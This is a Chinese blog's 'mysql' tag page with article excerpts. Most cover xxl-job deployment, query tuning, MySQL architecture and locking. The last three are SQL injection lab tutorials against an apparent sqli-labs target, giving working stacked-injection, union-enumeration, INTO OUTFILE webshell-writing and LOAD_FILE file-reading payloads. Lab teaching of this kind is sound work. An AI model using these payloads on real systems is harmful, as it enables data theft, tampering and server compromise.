网站首页 包含标签 mysql 的所有文章

  • docker如何部署xxl-job调度中心

    文章目录 第1步:下载镜像 第2步:创建容器并运行 第3步:浏览器访问 总结 本文主要讲解docker如何部署xxl-job调度中心,我们来一起学习下吧! 如果你还没有安装docker可以参考文章《Docker安装、运行、卸载—Docker学习教程》。 第1步:下载镜像 我们先通过以下指令来下载xxl-job的docker镜像, Docker地址:https://hub.docker.com/r/xuxueli/xxl-job-admin/ (建议指定版本号) docker pull xuxueli/xxl-job-admin 第2步:创建容器并运行 接下来,我们可以通过如下指令创建xxl-job-admin容器并运行: docker run -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} 需要说明的是: 如需自定义 mysql 等配置,可通过 “-e PARAMS” 指定,参数格式 PARAMS=”–key=value –key2=value2″ ; 配置项参考文件:/xxl-job/xxl-job-admin/src/main/resources/application.properties 如需自定义 JVM内存参数 等配置,可通过 “-e JAVA_OPTS” 指定,参数格式 JAVA_OPTS=”-Xmx512m” ; 类似如下指令: docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} 第3步:浏览器访问 最后我们通过浏览器访问地址:http://localhost:8080/xxl-job-admin就可以看到如下界面: 总结 以上就是docker如何部署xxl-job调度中心的全部步骤,希望对你有帮助。...

    2023-11-20 284
  • 如何快速搭建xxl-job项目详解

    文章目录 第1步:下载xxl-job源码 第2步:初始化数据库SQL 第3步:配置部署“调度中心” 3.1:修改调度中心配置文件: 3.2:部署调度中心项目 3.3 调度中心集群(可选): 3.4 其他:Docker 镜像方式搭建调度中心: 第4步: 配置部署“执行器项目” 4.1:部署执行器项目 4.2:测试执行定时任务 总结 本文重点讲解如何快速搭建xxl-job分布式任务调度框架项目,不对xxl-job做深入介绍,如果还不了解该框架的可以移步《xxl-job分布式任务调度框架详解》这篇文章,本文只讲解如何快速搭建xxl-job项目相关的实操步骤,我们一起来看以下。 搭建xxl-job项目xxl-job主要分为4个步骤: 第1步:下载xxl-job源码 首先我们去github或者gitee去下载xxl-job的项目源码,这里我下载2.4.0的版本。以下是下载地址: github:https://github.com/xuxueli/xxl-job gitee:https://gitee.com/xuxueli0323/xxl-job xxl-job官方教程文档:https://www.xuxueli.com/xxl-job/ 下载时选择自己想要的版本,建议是稳定版。 第2步:初始化数据库SQL 接下来,我们需要初始化“调度数据库”,请将下载好的项目源码解压,获取 “调度数据库初始化SQL脚本” 并执行即可,SQL脚本位置在如下: /xxl-job/doc/db/tables_xxl_job.sql 注意: 1)该SQL脚本是mysql数据库脚本,会自动创建名为xxl_job的数据库,表名也都是xxl_job开头的,如果你要修改数据库名称,记得提前改下脚本,初始化后一共8张表如下: 2)另外,调度中心支持集群部署,集群情况下各节点务必连接同一个mysql实例,如果mysql做主从,调度中心集群节点务必强制走主库。 第3步:配置部署“调度中心” 接下来我们需要配置部署“调度中心”,调度中心的作用是统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。其实就是我们可视化的后台管理项目,即调度中心项目:xxl-job-admin。 因此,我们需要将源码中xxl-job-admin项目导入IDEA,由于是maven开发的,因此你本地需要配置好maven环境,没配置过的请参考《IntelliJ IDEA如何整合Maven图文教程详解》。 3.1:修改调度中心配置文件: 调度中心配置文件地址: /xxl-job-admin/src/main/resources/application.properties 调度中心配置内容说明: ### 调度中心JDBC链接:链接地址请保持和 2.1章节 所创建的调度数据库的地址一致 spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai spring.datasource.username=root spring.datasource.password=root_pwd spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver ### 报警邮箱 spring.mail.host=smtp.qq.com spring.mail.port=25 spring.mail.username=xxx@qq.com spring.mail.password=xxx spring.mail.properties.mail.smtp.auth=true spring.mail.properties.mail.smtp.starttls.enable=true spring.mail.properties.mail.smtp.starttls.required=true spring.mail.properties.mail.smtp.socketFactory.class=javax.net.ssl.SSLSocketFactory ### 调度中心通讯TOKEN [选填]:非空时启用; xxl.job.accessToken= ### 调度中心国际化配置 [必填]: 默认为 "zh_CN"/中文简体, 可选范围为 "zh_CN"/中文简体, "zh_TC"/中文繁体 and "en"/英文; xxl.job.i18n=zh_CN ## 调度线程池最大线程配置【必填】 xxl.job.triggerpool.fast.max=200 xxl.job.triggerpool.slow.max=100 ### 调度中心日志表数据保存天数 [必填]:过期日志自动清理;限制大于等于7时生效,否则, 如-1,关闭自动清理功能; xxl.job.logretentiondays=30 以上配置重点关注jdbc数据库连接相关的内容,比如修改数据库用户名密码,以及报警邮箱相关配置,这里就不再详细展开,大家根据自己的需求配置修改即可。 3.2:部署调度中心项目 在idea中可以直接启动运行该项目,如果已经正确进行上述配置,运行成功会打印如下日志: 10:13:54.594 logback [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8080 (http) with context path '/xxl-job-admin' 10:13:54.606 logback [main] INFO c.x.job.admin.XxlJobAdminApplication - Started XxlJobAdminApplication in 2.167 seconds (JVM running for 3.881) 10:13:59.003 logback [xxl-job, admin JobScheduleHelper#scheduleThread] INFO c.x.j.a.c.thread.JobScheduleHelper - >>>>>>>>> init xxl-job admin scheduler success. 然后浏览器访问调度中心访问地址:http://localhost:8080/xxl-job-admin(该地址执行器将会使用到,作为回调地址) 默认登录账号 “admin/123456”, 登录后运行界面如下图所示。 如果要上线部署,可将项目编译打包部署即可。以上,我们就将任务调度中心集成好了。 另外补充说明以下两点: 3.3 调度中心集群(可选): 调度中心支持集群部署,提升调度系统容灾和可用性。 调度中心集群部署时,几点要求和建议: DB配置保持一致; 集群机器时钟保持一致(单机集群忽视); 建议:推荐通过nginx为调度中心集群做负载均衡,分配域名。调度中心访问、执行器回调配置、调用API服务等操作均通过该域名进行。 3.4 其他:Docker 镜像方式搭建调度中心: 参考文章《docker如何部署xxl-job调度中心》 第4步: 配置部署“执行器项目” “执行器”项目其实就是我们下载源码中的:xxl-job-executor-samples项目,这里面有两个“执行器”项目,分别为xxl-job-executor-sample-frameless和xxl-job-executor-sample-springboot。 xxl-job提供2种版本执行器供选择,现以 springboot 版本为例,可直接使用,也可以参考其并将现有项目改造成执行器。 顺便说下执行器项目作用:负责接收“调度中心”的调度并执行;可直接部署执行器,也可以将执行器集成到现有业务项目中。 4.1:部署执行器项目 我们使用idea打开xxl-job-executor-samples项目,注意application.properties中xxl.job.admin.addresses配置,调度中心部署根地址 [选填]:如调度中心集群部署存在多个地址则用逗号分隔。执行器将会使用该地址进行”执行器心跳注册”和”任务结果回调”;为空则关闭自动注册;我们这里默认和之前调度中心地址一致即可。 xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin 然后直接运行xxl-job-executor-springboot项目,发现启动成功。 4.2:测试执行定时任务 接下来,我们测试执行系统默认定时任务,打开调度中心页面,在任务管理中,执行一次,如下图: 我们发现在xxl-job-executor-springboot项目中,打印了如下信息: 10:43:54.772 logback [Thread-8] INFO com.xxl.job.core.server.EmbedServer - >>>>>>>>>>> xxl-job remoting server start success, nettype = class com.xxl.job.core.server.EmbedServer, port = 9999 10:47:23.505 logback [xxl-job, EmbedServer bizThreadPool-303137862] INFO c.x.job.core.executor.XxlJobExecutor - >>>>>>>>>>> xxl-job regist JobThread success, jobId:1, handler:com.xxl.job.core.handler.impl.MethodJobHandler@344426bf[class com.xxl.job.executor.service.jobhandler.SampleXxlJob#demoJobHandler] 10:49:06.782 logback [xxl-job, JobThread-1-1700189243505] INFO com.xxl.job.core.thread.JobThread - >>>>>>>>>>> xxl-job JobThread stoped, hashCode:Thread[xxl-job, JobThread-1-1700189243505,10,main] 查看调度日志查看发现调度成功: 总结 当然你也可以将下载的整个项目源码导入idea,分别修改配置,然后运行以上的两个子项目,就可以进行搭建测试了。 如果你想将调度执行项目集成到自己的springboot项目中该如何去实现呢?具体的请参考文章《SpringBoot如何集成整合xxl-job任务调度框架》。 以上就是快速搭建搭建xxl-job项目详解的全部内容,希望对你有帮助。 ...

    2023-11-20 231
  • 如何优化mysql like %xxx%模糊查询?

    本文主要讲解关于如何优化mysql like %xxx%模糊查询相关内容,让我们来一起学习下吧! 今天给大家分享一个小知识,实际项目中,like %xxx%的情况其实挺多的,比如某个表单如果支持根据公司名进行搜索,用户一般都是输入湖南xxx有限公司中的xxx进行搜索,所以对于接口而言,就必须使用like %xxx%来支持,从而不符合最左前缀原则导致索引失效,那么该如何优化这种情况呢? 第一种可以尝试的方案就是利用索引条件下推,我先演示再讲原理,比如我有下面一张订单表: 就算给company_name创建一个索引,执行where company_name like '%腾讯%'也不会走索引。 但是如果给created_at, company_name创建一个联合索引,那么执行where created_at=CURDATE() and company_name like '%腾讯%'就会走联合索引,并且company_name like '%腾讯%'就会利用到索引条件下推机制,比如下图中Extra里的Using index condition就表示利用了索引条件下推。 所以,并不是like %xxx%就一定会导致索引失效,原理也可以配合其他字段一起来建联合索引,从而使用到索引条件下推机制。 再来简单分析一下索引条件下推的原理,在执行查询时先利用SQL中所提供的created_at条件在联合索引B+树中进行快速查找,匹配到所有符合created_at条件的B+树叶子节点后,再根据company_name条件进行过滤,然后再根据过滤之后的结果中的主键ID进行回表找到其他字段(回表),最终才返回结果,这样处理的好处是能够减少回表的次数,从而提高查询效率。 当然,如果实在不能建立或不方便建立联合索引,导致不能利用索引条件下推机制,那么其实可以先试试Mysql中的全文索引,最后才考虑引入ES等中间件,当然Mysql其他一些常规优化机制也是可以先考虑的,比如分页、索引覆盖(不select *)等。 以上就是关于如何优化mysql like %xxx%模糊查询相关的全部内容,希望对你有帮助。欢迎持续关注潘子夜个人博客,学习愉快哦! ...

    2023-11-20 224
  • MySQL体系结构详解

    客户端应用程序:客户端应用程序是与MySQL数据库交互的用户或应用程序。这些应用程序使用MySQL客户端库来建立连接、发送SQL查询和接收查询结果。 SQL解释器:SQL解释器负责解析客户端应用程序发送的SQL查询语句,将其转换为内部数据结构,然后将其传递给查询优化器。 查询优化器:查询优化器是MySQL的核心组件之一。它分析SQL查询,确定最佳执行计划,并生成一组执行操作,以便从数据库中检索所需的数据。查询优化器考虑了表的索引、表之间的关系以及其他因素来提高查询性能。 存储引擎:MySQL支持多个存储引擎,每个存储引擎负责数据的物理存储和检索。常见的存储引擎包括: InnoDB:支持事务、行级锁定、外键和高并发性。 MyISAM:不支持事务,但具有快速读取性能。 Memory:将数据存储在内存中,用于快速读取和临时存储。 连接池:连接池是用于管理数据库连接的组件。它负责创建、维护和分配数据库连接,以降低连接建立和断开的开销,提高性能。 查询缓存:查询缓存用于存储已执行查询的结果集,以便在将来相同查询的情况下能够快速检索结果。不过,在高并发写入环境中,查询缓存可能会降低性能,因此有时会被禁用。 MySQL服务器:MySQL服务器是数据库管理系统的核心。它接收来自客户端应用程序的SQL查询,通过SQL解释器和查询优化器处理查询,然后将查询委托给适当的存储引擎执行。MySQL服务器还负责安全性、权限管理、事务控制、并发控制、崩溃恢复和日志记录等任务。 日志文件:MySQL使用多种日志文件来记录数据库活动,包括: 二进制日志(Binary Logs):记录所有更改数据的SQL语句,用于复制和恢复。 错误日志(Error Log):记录数据库错误和警告信息。 查询日志(Query Log):记录所有SQL查询,通常用于调试目的。 数据文件和表空间:数据文件是用于存储表数据和索引的物理文件。这些文件通常被组织成表空间,不同的存储引擎可以在不同的表空间中存储数据。 表和索引:表是MySQL数据库中的主要数据存储单元,它们包含了数据行。索引用于加速数据检索操作,提高查询性能。 系统变量和参数文件:MySQL具有一组系统变量,允许管理员配置数据库的行为。这些变量的配置信息通常存储在参数文件中,以便进行高级配置。 ...

    2023-11-06 178
  • MySQL有哪些锁

    大家好,我是不念,这次,来说说 MySQL 的锁,主要是 Q&A 的形式,看起来会比较轻松。 在 MySQL 里,根据加锁的范围,可以分为全局锁、表级锁和行锁三类。 全局锁 全局锁是怎么用的? 要使用全局锁,则要执行这条命令: flush tables with read lock 执行后,整个数据库就处于只读状态了,这时其他线程执行以下操作,都会被阻塞: 对数据的增删改操作,比如 insert、delete、update等语句; 对表结构的更改操作,比如 alter table、drop table 等语句。 如果要释放全局锁,则要执行这条命令: unlock tables 当然,当会话断开了,全局锁会被自动释放。 全局锁应用场景是什么? 全局锁主要应用于做全库逻辑备份,这样在备份数据库期间,不会因为数据或表结构的更新,而出现备份文件的数据与预期的不一样。 举个例子大家就知道了。 在全库逻辑备份期间,假设不加全局锁的场景,看看会出现什么意外的情况。 如果在全库逻辑备份期间,有用户购买了一件商品,一般购买商品的业务逻辑是会涉及到多张数据库表的更新,比如在用户表更新该用户的余额,然后在商品表更新被购买的商品的库存。 那么,有可能出现这样的顺序: 先备份了用户表的数据; 然后有用户发起了购买商品的操作; 接着再备份商品表的数据。 也就是在备份用户表和商品表之间,有用户购买了商品。 这种情况下,备份的结果是用户表中该用户的余额并没有扣除,反而商品表中该商品的库存被减少了,如果后面用这个备份文件恢复数据库数据的话,用户钱没少,而库存少了,等于用户白嫖了一件商品。 所以,在全库逻辑备份期间,加上全局锁,就不会出现上面这种情况了。 加全局锁又会带来什么缺点呢? 加上全局锁,意味着整个数据库都是只读状态。 那么如果数据库里有很多数据,备份就会花费很多的时间,关键是备份期间,业务只能读数据,而不能更新数据,这样会造成业务停滞。 既然备份数据库数据的时候,使用全局锁会影响业务,那有什么其他方式可以避免? 有的,如果数据库的引擎支持的事务支持可重复读的隔离级别,那么在备份数据库之前先开启事务,会先创建 Read View,然后整个事务执行期间都在用这个 Read View,而且由于 MVCC 的支持,备份期间业务依然可以对数据进行更新操作。 因为在可重复读的隔离级别下,即使其他事务更新了表的数据,也不会影响备份数据库时的 Read View,这就是事务四大特性中的隔离性,这样备份期间备份的数据一直是在开启事务时的数据。 备份数据库的工具是 mysqldump,在使用 mysqldump 时加上 –single-transaction 参数的时候,就会在备份数据库之前先开启事务。这种方法只适用于支持「可重复读隔离级别的事务」的存储引擎。 InnoDB 存储引擎默认的事务隔离级别正是可重复读,因此可以采用这种方式来备份数据库。 但是,对于 MyISAM 这种不支持事务的引擎,在备份数据库时就要使用全局锁的方法。 表级锁 MySQL 表级锁有哪些?具体怎么用的。 MySQL 里面表级别的锁有这几种: 表锁; 元数据锁(MDL); 意向锁; AUTO-INC 锁; 表锁 先来说说表锁。 如果我们想对学生表(t_student)加表锁,可以使用下面的命令: //表级别的共享锁,也就是读锁; lock tables t_student read; //表级别的独占锁,也就是写锁; lock tables t_stuent write; 需要注意的是,表锁除了会限制别的线程的读写外,也会限制本线程接下来的读写操作。 也就是说如果本线程对学生表加了「共享表锁」,那么本线程接下来如果要对学生表执行写操作的语句,是会被阻塞的,当然其他线程对学生表进行写操作时也会被阻塞,直到锁被释放。 要释放表锁,可以使用下面这条命令,会释放当前会话的所有表锁: unlock tables 另外,当会话退出后,也会释放所有表锁。 不过尽量避免在使用 InnoDB 引擎的表使用表锁,因为表锁的颗粒度太大,会影响并发性能,InnoDB 牛逼的地方在于实现了颗粒度更细的行级锁。 元数据锁 再来说说元数据锁(MDL)。 我们不需要显示的使用 MDL,因为当我们对数据库表进行操作时,会自动给这个表加上 MDL: 对一张表进行 CRUD 操作时,加的是 MDL 读锁; 对一张表做结构变更操作的时候,加的是 MDL 写锁; MDL 是为了保证当用户对表执行 CRUD 操作时,防止其他线程对这个表结构做了变更。 当有线程在执行 select 语句( 加 MDL 读锁)的期间,如果有其他线程要更改该表的结构( 申请 MDL 写锁),那么将会被阻塞,直到执行完 select 语句( 释放 MDL 读锁)。 反之,当有线程对表结构进行变更( 加 MDL 写锁)的期间,如果有其他线程执行了 CRUD 操作( 申请 MDL 读锁),那么就会被阻塞,直到表结构变更完成( 释放 MDL 写锁)。 MDL 不需要显示调用,那它是在什么时候释放的? MDL 是在事务提交后才会释放,这意味着事务执行期间,MDL 是一直持有的。 那如果数据库有一个长事务(所谓的长事务,就是开启了事务,但是一直还没提交),那在对表结构做变更操作的时候,可能会发生意想不到的事情,比如下面这个顺序的场景: 首先,线程 A 先启用了事务(但是一直不提交),然后执行一条 select 语句,此时就先对该表加上 MDL 读锁; 然后,线程 B 也执行了同样的 select 语句,此时并不会阻塞,因为「读读」并不冲突; 接着,线程 C 修改了表字段,此时由于线程 A 的事务并没有提交,也就是 MDL 读锁还在占用着,这时线程 C 就无法申请到 MDL 写锁,就会被阻塞, 那么在线程 C 阻塞后,后续有对该表的 select 语句,就都会被阻塞,如果此时有大量该表的 select 语句的请求到来,就会有大量的线程被阻塞住,这时数据库的线程很快就会爆满了。 为什么线程 C 因为申请不到 MDL 写锁,而导致后续的申请读锁的查询操作也会被阻塞? 这是因为申请 MDL 锁的操作会形成一个队列,队列中写锁获取优先级高于读锁,一旦出现 MDL 写锁等待,会阻塞后续该表的所有 CRUD 操作。 所以为了能安全的对表结构进行变更,在对表结构变更前,先要看看数据库中的长事务,是否有事务已经对表加上了 MDL 读锁,如果可以考虑 kill 掉这个长事务,然后再做表结构的变更。 意向锁 接着,说说意向锁。 在使用 InnoDB 引擎的表里对某些记录加上「共享锁」之前,需要先在表级别加上一个「意向共享锁」; 在使用 InnoDB 引擎的表里对某些纪录加上「独占锁」之前,需要先在表级别加上一个「意向独占锁」; 也就是,当执行插入、更新、删除操作,需要先对表加上「意向独占锁」,然后对该记录加独占锁。 而普通的 select 是不会加行级锁的,普通的 select 语句是利用 MVCC 实现一致性读,是无锁的。 不过,select 也是可以对记录加共享锁和独占锁的,具体方式如下: //先在表上加上意向共享锁,然后对读取的记录加共享锁 select ... lock in share mode; //先表上加上意向独占锁,然后对读取的记录加独占锁 select ... for update; 意向共享锁和意向独占锁是表级锁,不会和行级的共享锁和独占锁发生冲突,而且意向锁之间也不会发生冲突,只会和共享表锁(lock tables … read)和独占表锁(lock tables … write)发生冲突。 表锁和行锁是满足读读共享、读写互斥、写写互斥的。 如果没有「意向锁」,那么加「独占表锁」时,就需要遍历表里所有记录,查看是否有记录存在独占锁,这样效率会很慢。 那么有了「意向锁」,由于在对记录加独占锁前,先会加上表级别的意向独占锁,那么在加「独占表锁」时,直接查该表是否有意向独占锁,如果有就意味着表里已经有记录被加了独占锁,这样就不用去遍历表里的记录。 所以,意向锁的目的是为了快速判断表里是否有记录被加锁。 AUTO-INC 锁 表里的主键通常都会设置成自增的,这是通过对主键字段声明 AUTO_INCREMENT 属性实现的。 之后可以在插入数据时,可以不指定主键的值,数据库会自动给主键赋值递增的值,这主要是通过 AUTO-INC 锁实现的。 AUTO-INC 锁是特殊的表锁机制,锁不是再一个事务提交后才释放,而是再执行完插入语句后就会立即释放。 在插入数据时,会加一个表级别的 AUTO-INC 锁,然后为被 AUTO_INCREMENT 修饰的字段赋值递增的值,等插入语句执行完成后,才会把 AUTO-INC 锁释放掉。 那么,一个事务在持有 AUTO-INC 锁的过程中,其他事务的如果要向该表插入语句都会被阻塞,从而保证插入数据时,被 AUTO_INCREMENT 修饰的字段的值是连续递增的。 但是, AUTO-INC 锁再对大量数据进行插入的时候,会影响插入性能,因为另一个事务中的插入会被阻塞。 因此, 在 MySQL 5.1.22 版本开始,InnoDB 存储引擎提供了一种轻量级的锁来实现自增。 一样也是在插入数据的时候,会为被 AUTO_INCREMENT 修饰的字段加上轻量级锁,然后给该字段赋值一个自增的值,就把这个轻量级锁释放了,而不需要等待整个插入语句执行完后才释放锁。 InnoDB 存储引擎提供了个 innodb_autoinc_lock_mode 的系统变量,是用来控制选择用 AUTO-INC 锁,还是轻量级的锁。 当 innodb_autoinc_lock_mode = 0,就采用 AUTO-INC 锁,语句执行结束后才释放锁; 当 innodb_autoinc_lock_mode = 2,就采用轻量级锁,申请自增主键后就释放锁,并不需要等语句执行后才释放。 当 innodb_autoinc_lock_mode = 1: 普通 insert 语句,自增锁在申请之后就马上释放; 类似 insert … select 这样的批量插入数据的语句,自增锁还是要等语句结束后才被释放; 当 innodb_autoinc_lock_mode = 2 是性能最高的方式,但是当搭配 binlog 的日志格式是 statement 一起使用的时候,在「主从复制的场景」中会发生数据不一致的问题。 举个例子,考虑下面场景: session A 往表 t 中插入了 4 行数据,然后创建了一个相同结构的表 t2,然后两个 session 同时执行向表 t2 中插入数据。 如果 innodb_autoinc_lock_mode = 2,意味着「申请自增主键后就释放锁,不必等插入语句执行完」。那么就可能出现这样的情况: session B 先插入了两个记录,(1,1,1)、(2,2,2); 然后,session A 来申请自增 id 得到 id=3,插入了(3,5,5); 之后,session B 继续执行,插入两条记录 (4,3,3)、 (5,4,4)。 可以看到,session B 的 insert 语句,生成的 id 不连续。 当「主库」发生了这种情况,binlog 面对 t2 表的更新只会记录这两个 session 的 insert 语句,如果 binlog_format=statement,记录的语句就是原始语句。记录的顺序要么先记 session A 的 insert 语句,要么先记 session B 的 insert 语句。 但不论是哪一种,这个 binlog 拿去「从库」执行,这时从库是按「顺序」执行语句的,只有当执行完一条 SQL 语句后,才会执行下一条 SQL。因此,在从库上「不会」发生像主库那样两个 session 「同时」执行向表 t2 中插入数据的场景。所以,在备库上执行了 session B 的 insert 语句,生成的结果里面,id 都是连续的。这时,主从库就发生了数据不一致。 要解决这问题,binlog 日志格式要设置为 row,这样在 binlog 里面记录的是主库分配的自增值,到备库执行的时候,主库的自增值是什么,从库的自增值就是什么。 所以,当 innodb_autoinc_lock_mode = 2 时,并且 binlog_format = row,既能提升并发性,又不会出现数据一致性问题。 行级锁 InnoDB 引擎是支持行级锁的,而 MyISAM 引擎并不支持行级锁。 前面也提到,普通的 select 语句是不会对记录加锁的,因为它属于快照读。如果要在查询时对记录加行锁,可以使用下面这两个方式,这种查询会加锁的语句称为锁定读。 //对读取的记录加共享锁 select ... lock in share mode; //对读取的记录加独占锁 select ... for update; 上面这两条语句必须在一个事务中,因为当事务提交了,锁就会被释放,所以在使用这两条语句的时候,要加上 begin、start transaction 或者 set autocommit = 0。 共享锁(S锁)满足读读共享,读写互斥。独占锁(X锁)满足写写互斥、读写互斥。 行级锁的类型主要有三类: Record Lock,记录锁,也就是仅仅把一条记录锁上; Gap Lock,间隙锁,锁定一个范围,但是不包含记录本身; Next-Key Lock:Record Lock + Gap Lock 的组合,锁定一个范围,并且锁定记录本身。 Record Lock Record Lock 称为记录锁,锁住的是一条记录。而且记录锁是有 S 锁和 X 锁之分的: 当一个事务对一条记录加了 S 型记录锁后,其他事务也可以继续对该记录加 S 型记录锁(S 型与 S 锁兼容),但是不可以对该记录加 X 型记录锁(S 型与 X 锁不兼容); 当一个事务对一条记录加了 X 型记录锁后,其他事务既不可以对该记录加 S 型记录锁(S 型与 X 锁不兼容),也不可以对该记录加 X 型记录锁(X 型与 X 锁不兼容)。 举个例子,当一个事务执行了下面这条语句: mysql > begin; mysql > select * from t_test where id = 1 for update; 就是对 t_test 表中主键 id 为 1 的这条记录加上 X 型的记录锁,这样其他事务就无法对这条记录进行修改了。 当事务执行 commit 后,事务过程中生成的锁都会被释放。 Gap Lock Gap Lock 称为间隙锁,只存在于可重复读隔离级别,目的是为了解决可重复读隔离级别下幻读的现象。 假设,表中有一个范围 id 为(3,5)间隙锁,那么其他事务就无法插入 id = 4 这条记录了,这样就有效的防止幻读现象的发生。 间隙锁虽然存在 X 型间隙锁和 S 型间隙锁,但是并没有什么区别,间隙锁之间是兼容的,即两个事务可以同时持有包含共同间隙范围的间隙锁,并不存在互斥关系,因为间隙锁的目的是防止插入幻影记录而提出的。 Next-Key Lock Next-Key Lock 称为临键锁,是 Record Lock + Gap Lock 的组合,锁定一个范围,并且锁定记录本身。 假设,表中有一个范围 id 为(3,5] 的 next-key lock,那么其他事务即不能插入 id = 4 记录,也不能修改 id = 5 这条记录。 所以,next-key lock 即能保护该记录,又能阻止其他事务将新纪录插入到被保护记录前面的间隙中。 next-key lock 是包含间隙锁+记录锁的,如果一个事务获取了 X 型的 next-key lock,那么另外一个事务在获取相同范围的 X 型的 next-key lock 时,是会被阻塞的。 比如,一个事务持有了范围为 (1, 10] 的 X 型的 next-key lock,那么另外一个事务在获取相同范围的 X 型的 next-key lock 时,就会被阻塞。 虽然相同范围的间隙锁是多个事务相互兼容的,但对于记录锁,我们是要考虑 X 型与 S 型关系,X 型的记录锁与 X 型的记录锁是冲突的。 插入意向锁 一个事务在插入一条记录的时候,需要判断插入位置是否已被其他事务加了间隙锁(next-key lock 也包含间隙锁)。 如果有的话,插入操作就会发生阻塞,直到拥有间隙锁的那个事务提交为止(释放间隙锁的时刻),在此期间会生成一个插入意向锁,表明有事务想在某个区间插入新记录,但是现在处于等待状态。 举个例子,假设事务 A 已经对表加了一个范围 id 为(3,5)间隙锁。 当事务 A 还没提交的时候,事务 B 向该表插入一条 id = 4 的新记录,这时会判断到插入的位置已经被事务 A 加了间隙锁,于是事物 B 会生成一个插入意向锁,然后将锁的状态设置为等待状态(PS:MySQL 加锁时,是先生成锁结构,然后设置锁的状态,如果锁状态是等待状态,并不是意味着事务成功获取到了锁,只有当锁状态为正常状态时,才代表事务成功获取到了锁),此时事务 B 就会发生阻塞,直到事务 A 提交了事务。 插入意向锁名字虽然有意向锁,但是它并不是意向锁,它是一种特殊的间隙锁,属于行级别锁。 如果说间隙锁锁住的是一个区间,那么「插入意向锁」锁住的就是一个点。因而从这个角度来说,插入意向锁确实是一种特殊的间隙锁。 插入意向锁与间隙锁的另一个非常重要的差别是:尽管「插入意向锁」也属于间隙锁,但两个事务却不能在同一时间内,一个拥有间隙锁,另一个拥有该间隙区间内的插入意向锁(当然,插入意向锁如果不在间隙锁区间内则是可以的)。 ...

    2023-11-05 186
  • Windows安装MySQL数据库步骤

    浏览器输入网址:https://www.mysql.com/downloads下载MySQL软件包 根据图片安装MySQL软件 勾选同意,点击Next 选择只安装服务,然后点击Next 点击Execute 选择服务后点击Next 如图所示设置,点击Next 设置登录密码后,点击Next MySQL57是服务名称,可以根据爱好设置,点击Next 默认,点击Next 默认,点击Execute 点击finish,表示软件安装完成 找到软件目录下的bin目录 开始->计算机->属性->高级系统设置->环境变量 ,把mysql的bin目录加入到path 开始->cmd->输入登录账户和密码,看到如图界面,表示MySQL服务安装完成 注意:不同MySQL版本安装略有不同,但是总体大同小异,大家一起开始MySQL数据库的学习之旅吧! ...

    2023-10-14 170
  • Mysql注入 -- 堆叠注入

    一、堆叠注入介绍 1、多条sql语句同时执行 2、union只能执行查询语句,堆叠可以执行增删改查 3、同时执行三条语句 select 1;select 2;select 3; 二、插入注入 1、找到注入点,添加一条数据 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=66 2、获取数据库名称 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=67获取数据库名称 3、获取数据库中的表名 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=71获取表名信息 4、获取表中的字段名 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=74获取字段信息 三、删除删除注入 http://192.168.139.129/sqli/Less-38/?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0)); 禁止非法,后果自负 ...

    2021-05-22 612
  • Mysql注入 -- 数据库导出及读文件

    一、数据库导出文件 1、连接数据库 2、通过into outfile导出数据库内容 select * from users into outfile "c:/1.sql"; 3、通过into outfile语句,在C盘目录写入一句话木马 select '<?php phpinfo();?>' into outfile "c:/aiyou.php"; 4、通过实例导出一句话,避免单引号问题,可以将一句话内容编码为十六进制 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,'<?php phpinfo();?>' into outfile 'c:/aiyou.php' --+http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'c:/aiyou.php' --+ 提示: 导入文件需要修改mysql的一个参数值,打开my.cnf 或 my.ini,加入以下语句后重启mysql。 secure_file_priv='' 二、读文件 1、连接Mysql数据库,读取C盘的aiyou.php内容 select load_file("c:/aiyou.php"); 2、通过联合查询,将读到的内容显示出来,为避免引号的问题,将路径编码为十六进制 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file("c:/1.sql");http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file(0x633a2f312e73716c) --+ 禁止非法,后果自负 ...

    2021-05-15 650
  • Mysql注入 -- 联合注入

    一、常用命令及函数 1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回错误 select * from users order by 3; 2、union select联合查询,后边必须跟一样的字段数 select * from users union select 1,2,5; 3、user()查看当前mysql用户 4、version()查看mysql版本信息 5、database()查看当前数据库名 select * from users union select user(),version(),database(); 二、跨库查询 1、获取aiyou数据库中表 select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou"; 2、获取下一个表格 select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1; 3、获取字段名 select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo"; 4、获取字段内容 select * from users union select 1,2,username from users; 